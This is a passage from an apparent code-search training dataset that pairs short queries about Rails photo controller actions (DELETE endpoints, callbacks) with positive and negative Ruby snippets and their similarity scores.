updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @car.update(car_params)\n unless params[:photos].blank?\n params[:photos]['image'].each do |p|\n @photo = @car.photos.create!(:image => p, :car_id => @car.id)\n end\n end\n format.html { redirect_to @car, notice: 'Car was successfully updated.' }\n format.json { render :show, status: :ok, location: @car }\n else\n format.html { render :edit }\n format.json { render json: @car.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n respond_to do |format|\n if !user_is_owner?(@photo)\n format.html { redirect_to @photo.contest, alert: 'Vous ne pouvez pas modifier cette photo.' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n elsif @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo.contest, notice: 'Votre photo a été mise à jour.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image.update(photo_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end" ]
[ "0.7049965", "0.6752749", "0.6740446", "0.67135185", "0.671254", "0.66867554", "0.66847605", "0.66847605", "0.66847605", "0.66847605", "0.66843224", "0.66707134", "0.66707134", "0.66707134", "0.66707134", "0.66707134", "0.66707134", "0.6667143", "0.6663248", "0.6657235", "0.664729", "0.659457", "0.65934014", "0.65759456", "0.65382665", "0.65300393", "0.6520107", "0.6476488", "0.64690536", "0.64232457", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.6384656", "0.634897", "0.6347826", "0.6336337", "0.6322429", "0.63028836", "0.6302882", "0.6298161", "0.627644", "0.62705815", "0.62644583", "0.62586254", "0.62436473", "0.6239533", "0.6238869", "0.62385213", "0.62385213", "0.62309927", "0.6218568", "0.62066346", "0.6206464", "0.620645", "0.6205731", "0.62018436", "0.61975276", "0.61942697", "0.61743826", "0.6172363", "0.6170155", "0.6165911", "0.61621493", "0.6141919", "0.6140789", "0.6138989", "0.61367005", "0.6128227", "0.61259174", "0.61163276", "0.61163276", "0.6114447", "0.6099198", "0.60985833", "0.6097628", "0.60902554", "0.60894555", "0.60851395", "0.6082647", "0.60818297", "0.60807776", "0.6071858", "0.60712093", "0.60577816", "0.6056164", "0.6036034" ]
0.6510243
27
DELETE /photos/1 DELETE /photos/1.json
def destroy @photo.destroy respond_to do |format| format.html { redirect_to photos_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.photo.destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @photo = Photo.find(params[:id])\r\n @photo.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to photos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\r\n @photo = Photo.find(params[:id])\r\n @photo.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to photos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = @allbum.photos.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to allbum_photos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to @photo.item }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def delete photo_id\n @flickr.photos.delete(photo_id: photo_id)\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to @photo.photoable }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n head :no_content\n end", "def destroy\n @photo = Photo.find(params[:id])\n File.delete(Rails.root.join(\"app\",'assets','images',@photo.path))\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n \t@album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :ok }\n end\n end", "def delete(photo)\n photo = photo.id if photo.class == Flickr::Photo\n res = @flickr.call_method('flickr.photos.delete',\n 'photo_id'=>photo)\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(photos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(photos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(photos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(photos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo.destroy\n\n head :no_content\n end", "def destroy\n @photo = Photo.find(params[:id])\n gallery = @photo.gallery\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to gallery_path(gallery) }\n format.json { head :no_content }\n end\n end", "def destroy\n id = @photos.id\n if !@photos.nil? && @photos.destroy\n result = { message: 'Deleted successfully', status: true, id: id }\n else\n result = { message: 'Please try again later', status: false }\n end\n render json: result\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.xml { head :ok }\n end\n end", "def delete\n photo_id = params[:photoId]\n photo = Photo.find(photo_id)\n\n if (photo.nil?)\n raise Exceptions::PhotoHuntError.new(404, 'Photo with given ID does not exist')\n elsif (photo.owner_user_id != session[:user_id])\n raise Exceptions::PhotoHuntError.new(404, 'Photo with given ID does not exist')\n else\n photo.destroy\n end\n\n # TODO(samstern): Figure out why this method works but the Android client\n # reports failure\n render json: 'Photo successfully deleted'\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] || @photo.photoable, notice: 'Photo removed!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sample_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_admin_gallery_path(:id=>@gallery.id) }\n format.json { render :json => true }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @uploadphoto.destroy\n respond_to do |format|\n format.html { redirect_to uploadphotos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @photo.nill?\n render json: {error: 'foto no encontrada'}, status: :not_found\n else\n @photo.destroy\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_photo = Photo.find(params[:id])\n @admin_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n end\n end", "def destroy\n photo.destroy\n respond_to do |format|\n format.html { redirect_to admin_photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n authorize! :destroy, @photo\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_path, notice: 'Destroyed successfully.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @photo.destroy\r\n respond_to do |format|\r\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @photo = Photo.find(params[:id])\n\t@album = Album.find(@photo.album_id)\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to album_path(@album) }\n format.json { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to '/home', notice: 'You have deleted the picture' }\n format.json { head :no_content }\n end\n end", "def destroy\n album=@photo.album\n @photo.destroy\n save_to_json\n respond_to do |format|\n format.html { redirect_to album_path(album), notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n\n # Destroy s3 objects\n aws_s3_delete(@photo.key)\n Sebitmin::Application.config.thumbnail_sizes.each do |thumbnail_size|\n aws_s3_delete(@photo[\"thumbnail_key_#{thumbnail_size}\"])\n end\n\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @photoid = Photoid.find(params[:id])\n @photoid.destroy\n\n respond_to do |format|\n format.html { redirect_to photoids_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to fotos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @album = @photo.album_id\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to album_photos_path, notice: \"Photo was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n #@users_photo = UsersPhoto.find(params[:id])\n #@users_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to users_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @foto = Foto.find(params[:id])\n @foto.destroy\n\n respond_to do |format|\n format.html { redirect_to fotos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user_photo = UserPhoto.find(params[:id])\n @user_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to user_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photoalbum = Photoalbum.find(params[:id])\n @photoalbum.destroy\n\n respond_to do |format|\n format.html { redirect_to photoalbums_url }\n format.json { head :ok }\n end\n end", "def destroy\n @album2photo = Album2photo.find(params[:id])\n @album2photo.destroy\n\n respond_to do |format|\n format.html { redirect_to album2photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_photo.destroy\n respond_to do |format|\n format.html { redirect_to user_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flat_photo.destroy\n respond_to do |format|\n format.html { redirect_to flat_photos_url, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @rock_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n if photo_authorize(@photo)\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @structure_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n @photo = Photo.find(params[:id])\n @album = @photo.album\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_album_url(@album) }\n format.json { head :no_content }\n end\n end", "def destroy\n @pic.destroy\n respond_to do |format|\n format.html { redirect_to pics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @user = User.find(params[:user_id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to @user, notice: 'The photo was successfully deleted.'}\n format.json { head :no_content }\n end\n end", "def delete(photo_id)\r\n Net::Flickr.instance().request('flickr.photos.delete',\r\n 'photo_id' => photo_id)\r\n true\r\n end", "def destroy\n @recipe_photo.destroy\n respond_to do |format|\n format.html { redirect_to recipe_photos_url, notice: 'Recipe photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gallery.pics.each do |pic|\n Cloudinary::Uploader.destroy(pic.public_id.split(\"/\").last.split(\".\")[0] ,@auth) if pic.public_id.present?\n pic.delete\n end\n @gallery.delete\n respond_to do |format|\n format.html { redirect_to galleries_url, notice: 'Gallery was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_photo.destroy\n respond_to do |format|\n format.html { redirect_to post_photos_url, notice: 'Post photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n render json: {status: \"success\"}, status: :ok\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Photo was successfully destroyed.' }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo_detail.destroy\n respond_to do |format|\n format.html { redirect_to photo_details_url, notice: 'Photo detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n render root_path\n end", "def destroy\n @plate_photo = PlatePhoto.find(params[:id])\n @plate_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to plate_photos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7743858", "0.7743858", "0.7743858", "0.7743858", "0.7743858", "0.7743858", "0.77150726", "0.77150726", "0.77150726", "0.77150726", "0.77150726", "0.77036476", "0.7683938", "0.7666516", "0.7651935", "0.7651935", "0.76373297", "0.75912905", "0.7588815", "0.7573956", "0.7510149", "0.75098765", "0.7508465", "0.74969757", "0.7485202", "0.7472551", "0.7448762", "0.7447212", "0.7447212", "0.7447212", "0.7447212", "0.74431735", "0.7436718", "0.74309784", "0.74167436", "0.74085724", "0.7404596", "0.7390455", "0.7387256", "0.7370841", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7369001", "0.7360629", "0.7352633", "0.7351095", "0.7321412", "0.7313925", "0.7301978", "0.7299056", "0.7294209", "0.7270533", "0.72694343", "0.725674", "0.7251619", "0.72354573", "0.72329557", "0.7228159", "0.72263706", "0.72237927", "0.7219977", "0.72138685", "0.71869296", "0.7184955", "0.71813214", "0.7164884", "0.7161013", "0.7149285", "0.71444273", "0.71434486", "0.71340466", "0.71264046", "0.7125808", "0.71251655", "0.7119211", "0.70945436", "0.7080217", "0.7073863", "0.7060387", "0.7060283", "0.7060283", "0.70598054", "0.7055438", "0.70531577", "0.70447695" ]
0.7664305
15
Use callbacks to share common setup or constraints between actions.
def set_photo @photo = Photo.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = 